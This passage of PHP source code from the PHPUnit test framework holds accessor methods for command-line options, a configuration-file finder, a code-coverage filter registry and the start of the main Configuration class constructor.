(!$this->hasFailOnDeprecation()) { throw new Exception; } return $this->failOnDeprecation; } /** * @psalm-assert-if-true !null $this->failOnPhpunitDeprecation */ public function hasFailOnPhpunitDeprecation(): bool { return $this->failOnPhpunitDeprecation !== null; } /** * @throws Exception */ public function failOnPhpunitDeprecation(): bool { if (!$this->hasFailOnPhpunitDeprecation()) { throw new Exception; } return $this->failOnPhpunitDeprecation; } /** * @psalm-assert-if-true !null $this->failOnPhpunitWarning */ public function hasFailOnPhpunitWarning(): bool { return $this->failOnPhpunitWarning !== null; } /** * @throws Exception */ public function failOnPhpunitWarning(): bool { if (!$this->hasFailOnPhpunitWarning()) { throw new Exception; } return $this->failOnPhpunitWarning; } /** * @psalm-assert-if-true !null $this->failOnEmptyTestSuite */ public function hasFailOnEmptyTestSuite(): bool { return $this->failOnEmptyTestSuite !== null; } /** * @throws Exception */ public function failOnEmptyTestSuite(): bool { if (!$this->hasFailOnEmptyTestSuite()) { throw new Exception; } return $this->failOnEmptyTestSuite; } /** * @psalm-assert-if-true !null $this->failOnIncomplete */ public function hasFailOnIncomplete(): bool { return $this->failOnIncomplete !== null; } /** * @throws Exception */ public function failOnIncomplete(): bool { if (!$this->hasFailOnIncomplete()) { throw new Exception; } return $this->failOnIncomplete; } /** * @psalm-assert-if-true !null $this->failOnNotice */ public function hasFailOnNotice(): bool { return $this->failOnNotice !== null; } /** * @throws Exception */ public function failOnNotice(): bool { if (!$this->hasFailOnNotice()) { throw new Exception; } return $this->failOnNotice; } /** * @psalm-assert-if-true !null $this->failOnRisky */ public function hasFailOnRisky(): bool { return $this->failOnRisky !== null; } /** * @throws Exception */ public function failOnRisky(): bool { if (!$this->hasFailOnRisky()) { throw new Exception; } return $this->failOnRisky; } /** * @psalm-assert-if-true !null $this->failOnSkipped */ public function hasFailOnSkipped(): bool { return $this->failOnSkipped !== null; } /** * @throws Exception */ public function failOnSkipped(): bool { if (!$this->hasFailOnSkipped()) { throw new Exception; } return $this->failOnSkipped; } /** * @psalm-assert-if-true !null $this->failOnWarning */ public function hasFailOnWarning(): bool { return $this->failOnWarning !== null; } /** * @throws Exception */ public function failOnWarning(): bool { if (!$this->hasFailOnWarning()) { throw new Exception; } return $this->failOnWarning; } /** * @psalm-assert-if-true !null $this->doNotFailOnDeprecation */ public function hasDoNotFailOnDeprecation(): bool { return $this->doNotFailOnDeprecation !== null; } /** * @throws Exception */ public function doNotFailOnDeprecation(): bool { if (!$this->hasDoNotFailOnDeprecation()) { throw new Exception; } return $this->doNotFailOnDeprecation; } /** * @psalm-assert-if-true !null $this->doNotFailOnPhpunitDeprecation */ public function hasDoNotFailOnPhpunitDeprecation(): bool { return $this->doNotFailOnPhpunitDeprecation !== null; } /** * @throws Exception */ public function doNotFailOnPhpunitDeprecation(): bool { if (!$this->hasDoNotFailOnPhpunitDeprecation()) { throw new Exception; } return $this->doNotFailOnPhpunitDeprecation; } /** * @psalm-assert-if-true !null $this->doNotFailOnPhpunitWarning */ public function hasDoNotFailOnPhpunitWarning(): bool { return $this->doNotFailOnPhpunitWarning !== null; } /** * @throws Exception */ public function doNotFailOnPhpunitWarning(): bool { if (!$this->hasDoNotFailOnPhpunitWarning()) { throw new Exception; } return $this->doNotFailOnPhpunitWarning; } /** * @psalm-assert-if-true !null $this->doNotFailOnEmptyTestSuite */ public function hasDoNotFailOnEmptyTestSuite(): bool { return $this->doNotFailOnEmptyTestSuite !== null; } /** * @throws Exception */ public function doNotFailOnEmptyTestSuite(): bool { if (!$this->hasDoNotFailOnEmptyTestSuite()) { throw new Exception; } return $this->doNotFailOnEmptyTestSuite; } /** * @psalm-assert-if-true !null $this->doNotFailOnIncomplete */ public function hasDoNotFailOnIncomplete(): bool { return $this->doNotFailOnIncomplete !== null; } /** * @throws Exception */ public function doNotFailOnIncomplete(): bool { if (!$this->hasDoNotFailOnIncomplete()) { throw new Exception; } return $this->doNotFailOnIncomplete; } /** * @psalm-assert-if-true !null $this->doNotFailOnNotice */ public function hasDoNotFailOnNotice(): bool { return $this->doNotFailOnNotice !== null; } /** * @throws Exception */ public function doNotFailOnNotice(): bool { if (!$this->hasDoNotFailOnNotice()) { throw new Exception; } return $this->doNotFailOnNotice; } /** * @psalm-assert-if-true !null $this->doNotFailOnRisky */ public function hasDoNotFailOnRisky(): bool { return $this->doNotFailOnRisky !== null; } /** * @throws Exception */ public function doNotFailOnRisky(): bool { if (!$this->hasDoNotFailOnRisky()) { throw new Exception; } return $this->doNotFailOnRisky; } /** * @psalm-assert-if-true !null $this->doNotFailOnSkipped */ public function hasDoNotFailOnSkipped(): bool { return $this->doNotFailOnSkipped !== null; } /** * @throws Exception */ public function doNotFailOnSkipped(): bool { if (!$this->hasDoNotFailOnSkipped()) { throw new Exception; } return $this->doNotFailOnSkipped; } /** * @psalm-assert-if-true !null $this->doNotFailOnWarning */ public function hasDoNotFailOnWarning(): bool { return $this->doNotFailOnWarning !== null; } /** * @throws Exception */ public function doNotFailOnWarning(): bool { if (!$this->hasDoNotFailOnWarning()) { throw new Exception; } return $this->doNotFailOnWarning; } /** * @psalm-assert-if-true !null $this->stopOnDefect */ public function hasStopOnDefect(): bool { return $this->stopOnDefect !== null; } /** * @throws Exception */ public function stopOnDefect(): bool { if (!$this->hasStopOnDefect()) { throw new Exception; } return $this->stopOnDefect; } /** * @psalm-assert-if-true !null $this->stopOnDeprecation */ public function hasStopOnDeprecation(): bool { return $this->stopOnDeprecation !== null; } /** * @throws Exception */ public function stopOnDeprecation(): bool { if (!$this->hasStopOnDeprecation()) { throw new Exception; } return $this->stopOnDeprecation; } /** * @psalm-assert-if-true !null $this->stopOnError */ public function hasStopOnError(): bool { return $this->stopOnError !== null; } /** * @throws Exception */ public function stopOnError(): bool { if (!$this->hasStopOnError()) { throw new Exception; } return $this->stopOnError; } /** * @psalm-assert-if-true !null $this->stopOnFailure */ public function hasStopOnFailure(): bool { return $this->stopOnFailure !== null; } /** * @throws Exception */ public function stopOnFailure(): bool { if (!$this->hasStopOnFailure()) { throw new Exception; } return $this->stopOnFailure; } /** * @psalm-assert-if-true !null $this->stopOnIncomplete */ public function hasStopOnIncomplete(): bool { return $this->stopOnIncomplete !== null; } /** * @throws Exception */ public function stopOnIncomplete(): bool { if (!$this->hasStopOnIncomplete()) { throw new Exception; } return $this->stopOnIncomplete; } /** * @psalm-assert-if-true !null $this->stopOnNotice */ public function hasStopOnNotice(): bool { return $this->stopOnNotice !== null; } /** * @throws Exception */ public function stopOnNotice(): bool { if (!$this->hasStopOnNotice()) { throw new Exception; } return $this->stopOnNotice; } /** * @psalm-assert-if-true !null $this->stopOnRisky */ public function hasStopOnRisky(): bool { return $this->stopOnRisky !== null; } /** * @throws Exception */ public function stopOnRisky(): bool { if (!$this->hasStopOnRisky()) { throw new Exception; } return $this->stopOnRisky; } /** * @psalm-assert-if-true !null $this->stopOnSkipped */ public function hasStopOnSkipped(): bool { return $this->stopOnSkipped !== null; } /** * @throws Exception */ public function stopOnSkipped(): bool { if (!$this->hasStopOnSkipped()) { throw new Exception; } return $this->stopOnSkipped; } /** * @psalm-assert-if-true !null $this->stopOnWarning */ public function hasStopOnWarning(): bool { return $this->stopOnWarning !== null; } /** * @throws Exception */ public function stopOnWarning(): bool { if (!$this->hasStopOnWarning()) { throw new Exception; } return $this->stopOnWarning; } /** * @psalm-assert-if-true !null $this->filter */ public function hasFilter(): bool { return $this->filter !== null; } /** * @throws Exception */ public function filter(): string { if (!$this->hasFilter()) { throw new Exception; } return $this->filter; } /** * @psalm-assert-if-true !null $this->generateBaseline */ public function hasGenerateBaseline(): bool { return $this->generateBaseline !== null; } /** * @throws Exception */ public function generateBaseline(): string { if (!$this->hasGenerateBaseline()) { throw new Exception; } return $this->generateBaseline; } /** * @psalm-assert-if-true !null $this->useBaseline */ public function hasUseBaseline(): bool { return $this->useBaseline !== null; } /** * @throws Exception */ public function useBaseline(): string { if (!$this->hasUseBaseline()) { throw new Exception; } return $this->useBaseline; } public function ignoreBaseline(): bool { return $this->ignoreBaseline; } public function generateConfiguration(): bool { return $this->generateConfiguration; } public function migrateConfiguration(): bool { return $this->migrateConfiguration; } /** * @psalm-assert-if-true !null $this->groups */ public function hasGroups(): bool { return $this->groups !== null; } /** * @throws Exception */ public function groups(): array { if (!$this->hasGroups()) { throw new Exception; } return $this->groups; } /** * @psalm-assert-if-true !null $this->testsCovering */ public function hasTestsCovering(): bool { return $this->testsCovering !== null; } /** * @throws Exception */ public function testsCovering(): array { if (!$this->hasTestsCovering()) { throw new Exception; } return $this->testsCovering; } /** * @psalm-assert-if-true !null $this->testsUsing */ public function hasTestsUsing(): bool { return $this->testsUsing !== null; } /** * @throws Exception */ public function testsUsing(): array { if (!$this->hasTestsUsing()) { throw new Exception; } return $this->testsUsing; } public function help(): bool { return $this->help; } /** * @psalm-assert-if-true !null $this->includePath */ public function hasIncludePath(): bool { return $this->includePath !== null; } /** * @throws Exception */ public function includePath(): string { if (!$this->hasIncludePath()) { throw new Exception; } return $this->includePath; } /** * @psalm-assert-if-true !null $this->iniSettings */ public function hasIniSettings(): bool { return $this->iniSettings !== null; } /** * @throws Exception */ public function iniSettings(): array { if (!$this->hasIniSettings()) { throw new Exception; } return $this->iniSettings; } /** * @psalm-assert-if-true !null $this->junitLogfile */ public function hasJunitLogfile(): bool { return $this->junitLogfile !== null; } /** * @throws Exception */ public function junitLogfile(): string { if (!$this->hasJunitLogfile()) { throw new Exception; } return $this->junitLogfile; } public function listGroups(): bool { return $this->listGroups; } public function listSuites(): bool { return $this->listSuites; } public function listTests(): bool { return $this->listTests; } /** * @psalm-assert-if-true !null $this->listTestsXml */ public function hasListTestsXml(): bool { return $this->listTestsXml !== null; } /** * @throws Exception */ public function listTestsXml(): string { if (!$this->hasListTestsXml()) { throw new Exception; } return $this->listTestsXml; } /** * @psalm-assert-if-true !null $this->noCoverage */ public function hasNoCoverage(): bool { return $this->noCoverage !== null; } /** * @throws Exception */ public function noCoverage(): bool { if (!$this->hasNoCoverage()) { throw new Exception; } return $this->noCoverage; } /** * @psalm-assert-if-true !null $this->noExtensions */ public function hasNoExtensions(): bool { return $this->noExtensions !== null; } /** * @throws Exception */ public function noExtensions(): bool { if (!$this->hasNoExtensions()) { throw new Exception; } return $this->noExtensions; } /** * @psalm-assert-if-true !null $this->noOutput */ public function hasNoOutput(): bool { return $this->noOutput !== null; } /** * @throws Exception */ public function noOutput(): bool { if ($this->noOutput === null) { throw new Exception; } return $this->noOutput; } /** * @psalm-assert-if-true !null $this->noProgress */ public function hasNoProgress(): bool { return $this->noProgress !== null; } /** * @throws Exception */ public function noProgress(): bool { if ($this->noProgress === null) { throw new Exception; } return $this->noProgress; } /** * @psalm-assert-if-true !null $this->noResults */ public function hasNoResults(): bool { return $this->noResults !== null; } /** * @throws Exception */ public function noResults(): bool { if ($this->noResults === null) { throw new Exception; } return $this->noResults; } /** * @psalm-assert-if-true !null $this->noLogging */ public function hasNoLogging(): bool { return $this->noLogging !== null; } /** * @throws Exception */ public function noLogging(): bool { if (!$this->hasNoLogging()) { throw new Exception; } return $this->noLogging; } /** * @psalm-assert-if-true !null $this->processIsolation */ public function hasProcessIsolation(): bool { return $this->processIsolation !== null; } /** * @throws Exception */ public function processIsolation(): bool { if (!$this->hasProcessIsolation()) { throw new Exception; } return $this->processIsolation; } /** * @psalm-assert-if-true !null $this->randomOrderSeed */ public function hasRandomOrderSeed(): bool { return $this->randomOrderSeed !== null; } /** * @throws Exception */ public function randomOrderSeed(): int { if (!$this->hasRandomOrderSeed()) { throw new Exception; } return $this->randomOrderSeed; } /** * @psalm-assert-if-true !null $this->reportUselessTests */ public function hasReportUselessTests(): bool { return $this->reportUselessTests !== null; } /** * @throws Exception */ public function reportUselessTests(): bool { if (!$this->hasReportUselessTests()) { throw new Exception; } return $this->reportUselessTests; } /** * @psalm-assert-if-true !null $this->resolveDependencies */ public function hasResolveDependencies(): bool { return $this->resolveDependencies !== null; } /** * @throws Exception */ public function resolveDependencies(): bool { if (!$this->hasResolveDependencies()) { throw new Exception; } return $this->resolveDependencies; } /** * @psalm-assert-if-true !null $this->reverseList */ public function hasReverseList(): bool { return $this->reverseList !== null; } /** * @throws Exception */ public function reverseList(): bool { if (!$this->hasReverseList()) { throw new Exception; } return $this->reverseList; } /** * @psalm-assert-if-true !null $this->stderr */ public function hasStderr(): bool { return $this->stderr !== null; } /** * @throws Exception */ public function stderr(): bool { if (!$this->hasStderr()) { throw new Exception; } return $this->stderr; } /** * @psalm-assert-if-true !null $this->strictCoverage */ public function hasStrictCoverage(): bool { return $this->strictCoverage !== null; } /** * @throws Exception */ public function strictCoverage(): bool { if (!$this->hasStrictCoverage()) { throw new Exception; } return $this->strictCoverage; } /** * @psalm-assert-if-true !null $this->teamcityLogfile */ public function hasTeamcityLogfile(): bool { return $this->teamcityLogfile !== null; } /** * @throws Exception */ public function teamcityLogfile(): string { if (!$this->hasTeamcityLogfile()) { throw new Exception; } return $this->teamcityLogfile; } /** * @psalm-assert-if-true !null $this->teamcityPrinter */ public function hasTeamCityPrinter(): bool { return $this->teamCityPrinter !== null; } /** * @throws Exception */ public function teamCityPrinter(): bool { if (!$this->hasTeamCityPrinter()) { throw new Exception; } return $this->teamCityPrinter; } /** * @psalm-assert-if-true !null $this->testdoxHtmlFile */ public function hasTestdoxHtmlFile(): bool { return $this->testdoxHtmlFile !== null; } /** * @throws Exception */ public function testdoxHtmlFile(): string { if (!$this->hasTestdoxHtmlFile()) { throw new Exception; } return $this->testdoxHtmlFile; } /** * @psalm-assert-if-true !null $this->testdoxTextFile */ public function hasTestdoxTextFile(): bool { return $this->testdoxTextFile !== null; } /** * @throws Exception */ public function testdoxTextFile(): string { if (!$this->hasTestdoxTextFile()) { throw new Exception; } return $this->testdoxTextFile; } /** * @psalm-assert-if-true !null $this->testdoxPrinter */ public function hasTestDoxPrinter(): bool { return $this->testdoxPrinter !== null; } /** * @throws Exception */ public function testdoxPrinter(): bool { if (!$this->hasTestdoxPrinter()) { throw new Exception; } return $this->testdoxPrinter; } /** * @psalm-assert-if-true !null $this->testSuffixes */ public function hasTestSuffixes(): bool { return $this->testSuffixes !== null; } /** * @throws Exception * * @psalm-return non-empty-list */ public function testSuffixes(): array { if (!$this->hasTestSuffixes()) { throw new Exception; } return $this->testSuffixes; } /** * @psalm-assert-if-true !null $this->testSuite */ public function hasTestSuite(): bool { return $this->testSuite !== null; } /** * @throws Exception */ public function testSuite(): string { if (!$this->hasTestSuite()) { throw new Exception; } return $this->testSuite; } /** * @psalm-assert-if-true !null $this->excludedTestSuite */ public function hasExcludedTestSuite(): bool { return $this->excludeTestSuite !== null; } /** * @throws Exception */ public function excludedTestSuite(): string { if (!$this->hasExcludedTestSuite()) { throw new Exception; } return $this->excludeTestSuite; } public function useDefaultConfiguration(): bool { return $this->useDefaultConfiguration; } /** * @psalm-assert-if-true !null $this->displayDetailsOnAllIssues */ public function hasDisplayDetailsOnAllIssues(): bool { return $this->displayDetailsOnAllIssues !== null; } /** * @throws Exception */ public function displayDetailsOnAllIssues(): bool { if (!$this->hasDisplayDetailsOnAllIssues()) { throw new Exception; } return $this->displayDetailsOnAllIssues; } /** * @psalm-assert-if-true !null $this->displayDetailsOnIncompleteTests */ public function hasDisplayDetailsOnIncompleteTests(): bool { return $this->displayDetailsOnIncompleteTests !== null; } /** * @throws Exception */ public function displayDetailsOnIncompleteTests(): bool { if (!$this->hasDisplayDetailsOnIncompleteTests()) { throw new Exception; } return $this->displayDetailsOnIncompleteTests; } /** * @psalm-assert-if-true !null $this->displayDetailsOnSkippedTests */ public function hasDisplayDetailsOnSkippedTests(): bool { return $this->displayDetailsOnSkippedTests !== null; } /** * @throws Exception */ public function displayDetailsOnSkippedTests(): bool { if (!$this->hasDisplayDetailsOnSkippedTests()) { throw new Exception; } return $this->displayDetailsOnSkippedTests; } /** * @psalm-assert-if-true !null $this->displayDetailsOnTestsThatTriggerDeprecations */ public function hasDisplayDetailsOnTestsThatTriggerDeprecations(): bool { return $this->displayDetailsOnTestsThatTriggerDeprecations !== null; } /** * @throws Exception */ public function displayDetailsOnTestsThatTriggerDeprecations(): bool { if (!$this->hasDisplayDetailsOnTestsThatTriggerDeprecations()) { throw new Exception; } return $this->displayDetailsOnTestsThatTriggerDeprecations; } /** * @psalm-assert-if-true !null $this->displayDetailsOnPhpunitDeprecations */ public function hasDisplayDetailsOnPhpunitDeprecations(): bool { return $this->displayDetailsOnPhpunitDeprecations !== null; } /** * @throws Exception */ public function displayDetailsOnPhpunitDeprecations(): bool { if (!$this->hasDisplayDetailsOnPhpunitDeprecations()) { throw new Exception; } return $this->displayDetailsOnPhpunitDeprecations; } /** * @psalm-assert-if-true !null $this->displayDetailsOnTestsThatTriggerErrors */ public function hasDisplayDetailsOnTestsThatTriggerErrors(): bool { return $this->displayDetailsOnTestsThatTriggerErrors !== null; } /** * @throws Exception */ public function displayDetailsOnTestsThatTriggerErrors(): bool { if (!$this->hasDisplayDetailsOnTestsThatTriggerErrors()) { throw new Exception; } return $this->displayDetailsOnTestsThatTriggerErrors; } /** * @psalm-assert-if-true !null $this->displayDetailsOnTestsThatTriggerNotices */ public function hasDisplayDetailsOnTestsThatTriggerNotices(): bool { return $this->displayDetailsOnTestsThatTriggerNotices !== null; } /** * @throws Exception */ public function displayDetailsOnTestsThatTriggerNotices(): bool { if (!$this->hasDisplayDetailsOnTestsThatTriggerNotices()) { throw new Exception; } return $this->displayDetailsOnTestsThatTriggerNotices; } /** * @psalm-assert-if-true !null $this->displayDetailsOnTestsThatTriggerWarnings */ public function hasDisplayDetailsOnTestsThatTriggerWarnings(): bool { return $this->displayDetailsOnTestsThatTriggerWarnings !== null; } /** * @throws Exception */ public function displayDetailsOnTestsThatTriggerWarnings(): bool { if (!$this->hasDisplayDetailsOnTestsThatTriggerWarnings()) { throw new Exception; } return $this->displayDetailsOnTestsThatTriggerWarnings; } public function version(): bool { return $this->version; } /** * @psalm-assert-if-true !null $this->logEventsText */ public function hasLogEventsText(): bool { return $this->logEventsText !== null; } /** * @throws Exception */ public function logEventsText(): string { if (!$this->hasLogEventsText()) { throw new Exception; } return $this->logEventsText; } /** * @psalm-assert-if-true !null $this->logEventsVerboseText */ public function hasLogEventsVerboseText(): bool { return $this->logEventsVerboseText !== null; } /** * @throws Exception */ public function logEventsVerboseText(): string { if (!$this->hasLogEventsVerboseText()) { throw new Exception; } return $this->logEventsVerboseText; } public function debug(): bool { return $this->debug; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements \PHPUnit\Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; use function getcwd; use function is_dir; use function is_file; use function realpath; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class XmlConfigurationFileFinder { public function find(Configuration $configuration): false|string { $useDefaultConfiguration = $configuration->useDefaultConfiguration(); if ($configuration->hasConfigurationFile()) { if (is_dir($configuration->configurationFile())) { $candidate = $this->configurationFileInDirectory($configuration->configurationFile()); if ($candidate !== false) { return $candidate; } return false; } return $configuration->configurationFile(); } if ($useDefaultConfiguration) { $candidate = $this->configurationFileInDirectory(getcwd()); if ($candidate !== false) { return $candidate; } } return false; } private function configurationFileInDirectory(string $directory): false|string { $candidates = [ $directory . '/phpunit.xml', $directory . '/phpunit.dist.xml', $directory . '/phpunit.xml.dist', ]; foreach ($candidates as $candidate) { if (is_file($candidate)) { return realpath($candidate); } } return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function array_keys; use function assert; use SebastianBergmann\CodeCoverage\Filter; /** * CLI options and XML configuration are static within a single PHPUnit process. * It is therefore okay to use a Singleton registry here. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CodeCoverageFilterRegistry { private static ?self $instance = null; private ?Filter $filter = null; private bool $configured = false; public static function instance(): self { if (self::$instance === null) { self::$instance = new self; } return self::$instance; } /** * @codeCoverageIgnore */ public function get(): Filter { assert($this->filter !== null); return $this->filter; } /** * @codeCoverageIgnore */ public function init(Configuration $configuration, bool $force = false): void { if (!$configuration->hasCoverageReport() && !$force) { return; } if ($this->configured && !$force) { return; } $this->filter = new Filter; if ($configuration->source()->notEmpty()) { $this->filter->includeFiles(array_keys((new SourceMapper)->map($configuration->source()))); $this->configured = true; } } /** * @codeCoverageIgnore */ public function configured(): bool { return $this->configured; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Configuration { public const COLOR_NEVER = 'never'; public const COLOR_AUTO = 'auto'; public const COLOR_ALWAYS = 'always'; public const COLOR_DEFAULT = self::COLOR_NEVER; /** * @psalm-var list */ private readonly array $cliArguments; private readonly ?string $configurationFile; private readonly ?string $bootstrap; private readonly bool $cacheResult; private readonly ?string $cacheDirectory; private readonly ?string $coverageCacheDirectory; private readonly Source $source; private readonly bool $pathCoverage; private readonly ?string $coverageClover; private readonly ?string $coverageCobertura; private readonly ?string $coverageCrap4j; private readonly int $coverageCrap4jThreshold; private readonly ?string $coverageHtml; private readonly int $coverageHtmlLowUpperBound; private readonly int $coverageHtmlHighLowerBound; private readonly string $coverageHtmlColorSuccessLow; private readonly string $coverageHtmlColorSuccessMedium; private readonly string $coverageHtmlColorSuccessHigh; private readonly string $coverageHtmlColorWarning; private readonly string $coverageHtmlColorDanger; private readonly ?string $coverageHtmlCustomCssFile; private readonly ?string $coveragePhp; private readonly ?string $coverageText; private readonly bool $coverageTextShowUncoveredFiles; private readonly bool $coverageTextShowOnlySummary; private readonly ?string $coverageXml; private readonly string $testResultCacheFile; private readonly bool $ignoreDeprecatedCodeUnitsFromCodeCoverage; private readonly bool $disableCodeCoverageIgnore; private readonly bool $failOnAllIssues; private readonly bool $failOnDeprecation; private readonly bool $failOnPhpunitDeprecation; private readonly bool $failOnPhpunitWarning; private readonly bool $failOnEmptyTestSuite; private readonly bool $failOnIncomplete; private readonly bool $failOnNotice; private readonly bool $failOnRisky; private readonly bool $failOnSkipped; private readonly bool $failOnWarning; private readonly bool $doNotFailOnDeprecation; private readonly bool $doNotFailOnPhpunitDeprecation; private readonly bool $doNotFailOnPhpunitWarning; private readonly bool $doNotFailOnEmptyTestSuite; private readonly bool $doNotFailOnIncomplete; private readonly bool $doNotFailOnNotice; private readonly bool $doNotFailOnRisky; private readonly bool $doNotFailOnSkipped; private readonly bool $doNotFailOnWarning; private readonly bool $stopOnDefect; private readonly bool $stopOnDeprecation; private readonly bool $stopOnError; private readonly bool $stopOnFailure; private readonly bool $stopOnIncomplete; private readonly bool $stopOnNotice; private readonly bool $stopOnRisky; private readonly bool $stopOnSkipped; private readonly bool $stopOnWarning; private readonly bool $outputToStandardErrorStream; private readonly int $columns; private readonly bool $noExtensions; /** * @psalm-var ?non-empty-string */ private readonly ?string $pharExtensionDirectory; /** * @psalm-var list}> */ private readonly array $extensionBootstrappers; private readonly bool $backupGlobals; private readonly bool $backupStaticProperties; private readonly bool $beStrictAboutChangesToGlobalState; private readonly bool $colors; private readonly bool $processIsolation; private readonly bool $enforceTimeLimit; private readonly int $defaultTimeLimit; private readonly int $timeoutForSmallTests; private readonly int $timeoutForMediumTests; private readonly int $timeoutForLargeTests; private readonly bool $reportUselessTests; private readonly bool $strictCoverage; private readonly bool $disallowTestOutput; private readonly bool $displayDetailsOnAllIssues; private readonly bool $displayDetailsOnIncompleteTests; private readonly bool $displayDetailsOnSkippedTests; private readonly bool $displayDetailsOnTestsThatTriggerDeprecations; private readonly bool $displayDetailsOnPhpunitDeprecations; private readonly bool $displayDetailsOnTestsThatTriggerErrors; private readonly bool $displayDetailsOnTestsThatTriggerNotices; private readonly bool $displayDetailsOnTestsThatTriggerWarnings; private readonly bool $reverseDefectList; private readonly bool $requireCoverageMetadata; private readonly bool $registerMockObjectsFromTestArgumentsRecursively; private readonly bool $noProgress; private readonly bool $noResults; private readonly bool $noOutput; private readonly int $executionOrder; private readonly int $executionOrderDefects; private readonly bool $resolveDependencies; private readonly ?string $logfileTeamcity; private readonly ?string $logfileJunit; private readonly ?string $logfileTestdoxHtml; private readonly ?string $logfileTestdoxText; private readonly ?string $logEventsText; private readonly ?string $logEventsVerboseText; private readonly ?array $testsCovering; private readonly ?array $testsUsing; private readonly bool $teamCityOutput; private readonly bool $testDoxOutput; private readonly ?string $filter; private readonly ?array $groups; private readonly ?array $excludeGroups; private readonly int $randomOrderSeed; private readonly bool $includeUncoveredFiles; private readonly TestSuiteCollection $testSuite; private readonly string $includeTestSuite; private readonly string $excludeTestSuite; private readonly ?string $defaultTestSuite; /** * @psalm-var non-empty-list */ private readonly array $testSuffixes; private readonly Php $php; private readonly bool $controlGarbageCollector; private readonly int $numberOfTestsBeforeGarbageCollection; private readonly ?string $generateBaseline; private readonly bool $debug; /** * @psalm-param list $cliArguments * @psalm-param ?non-empty-string $pharExtensionDirectory * @psalm-param non-empty-list $testSuffixes * @psalm-param list}> $extensionBootstrappers */ public function __construct(array $cliArguments, ?string $configurationFile, ?string $bootstrap, bool $cacheResult, ?string $cacheDirectory, ?string $coverageCacheDirectory, Source $source, string $testResultCacheFile, ?string $coverageClover, ?string $coverageCobertura, ?string $coverageCrap4j, int $coverageCrap4jThreshold, ?string $coverageHtml, int $coverageHtmlLowUpperBound, int $coverageHtmlHighLowerBound, string $coverageHtmlColorSuccessLow, string $coverageHtmlColorSuccessMedium, string $coverageHtmlColorSuccessHigh, string $coverageHtmlColorWarning, string $coverageHtmlColorDanger, ?string $coverageHtmlCustomCssFile, ?string $coveragePhp, ?string $coverageText, bool $coverageTextShowUncoveredFiles, bool $coverageTextShowOnlySummary, ?string $coverageXml, bool $pathCoverage, bool $ignoreDeprecatedCodeUnitsFromCodeCoverage, bool $disableCodeCoverageIgnore, bool $failOnAllIssues, bool $failOnDeprecation, bool $failOnPhpunitDeprecation, bool $failOnPhpunitWarning, bool $failOnEmptyTestSuite, bool $failOnIncomplete, bool $failOnNotice, bool $failOnRisky, bool $failOnSkipped, bool $failOnWarning, bool $doNotFailOnDeprecation, bool $doNotFailOnPhpunitDeprecation, bool $doNotFailOnPhpunitWarning, bool $doNotFailOnEmptyTestSuite, bool $doNotFailOnIncomplete, bool $doNotFailOnNotice, bool $doNotFailOnRisky, bool $doNotFailOnSkipped, bool $doNotFailOnWarning, bool $stopOnDefect, bool $stopOnDeprecation, bool $stopOnError, bool $stopOnFailure, bool $stopOnIncomplete, bool $stopOnNotice, bool $stopOnRisky, bool $stopOnSkipped, bool $stopOnWarning, bool $outputToStandardErrorStream, int|string $columns, bool $noExtensions, ?string $pharExtensionDirectory, array $extensionBootstrappers, bool $backupGlobals, bool $backupStaticProperties, bool $beStrictAboutChangesToGlobalState, bool $colors, bool $processIsolation, bool $enforceTimeLimit, int $defaultTimeLimit, int $timeoutForSmallTests, int $timeoutForMediumTests, int $timeoutForLargeTests, bool $reportUselessTests, bool $strictCoverage, bool $disallowTestOutput, bool $displayDetailsOnAllIssues, bool $displayDetailsOnIncompleteTests, bool $displayDetailsOnSkippedTests, bool $displayDetailsOnTestsThatTriggerDeprecations, bool $displayDetailsOnPhpunitDeprecations, bool $displayDetailsOnTestsThatTriggerErrors, bool $displayDetailsOnTestsThatTriggerNotices, bool $displayDetailsOnTestsThatTriggerWarnings, bool $reverseDefectList, bool $requireCoverageMetadata, bool $registerMockObjectsFromTestArgumentsRecursively, bool $noProgress, bool $noResults, bool $noOutput, int $executionOrder, int $executionOrderDefects, bool $resolveDependencies, ?string $logfileTeamcity, ?string $logfileJunit, ?string $logfileTestdoxHtml, ?string $logfileTestdoxText, ?string $logEventsText, ?string $logEventsVerboseText, bool $teamCityOutput, bool $testDoxOutput, ?array $testsCovering, ?array $testsUsing, ?string $filter, ?array $groups, ?array $excludeGroups, int $randomOrderSeed, bool $includeUncoveredFiles, TestSuiteCollection $testSuite, string $includeTestSuite, string $excludeTestSuite, ?string $defaultTestSuite, array $testSuffixes, Php $php, bool $controlGarbageCollector, int $numberOfTestsBeforeGarbageCollection, ?string $generateBaseline, bool $debug) { $this->cliArguments = $cliArguments; $this->configurationFile = $configurationFile; $this->bootstrap = $bootstrap; $this->cacheResult = $cacheResult; $this->cacheDirectory = $cacheDirectory; $this->coverageCacheDirectory = $coverageCacheDirectory; $this->source = $source; $this->testResultCacheFile = $testResultCacheFile; $this->coverageClover = $coverageClover; $this->coverageCobertura = $coverageCobertura; $this->coverageCrap4j = $coverageCrap4j; $this->coverageCrap4jThreshold = $coverageCrap4jThreshold; $this->coverageHtml = $coverageHtml; $this->coverageHtmlLowUpperBound = $coverageHtmlLowUpperBound; $this->coverageHtmlHighLowerBound = $coverageHtmlHighLowerBound; $this->coverageHtmlColorSuccessLow = $coverageHtmlColorSuccessLow; $this->coverageHtmlColorSuccessMedium = $coverageHtmlColorSuccessMedium; $this->coverageHtmlColorSuccessHigh = $coverageHtmlColorSuccessHigh; $this->coverageHtmlColorWarning = $coverageHtmlColorWarning; $this->coverageHtmlColorDanger = $coverageHtmlColorDanger; $this->coverageHtmlCustomCssFile = $coverageHtmlCustomCssFile; $this->coveragePhp = $coveragePhp; $this->coverageText = $coverageText; $this->coverageTextShowUncoveredFiles = 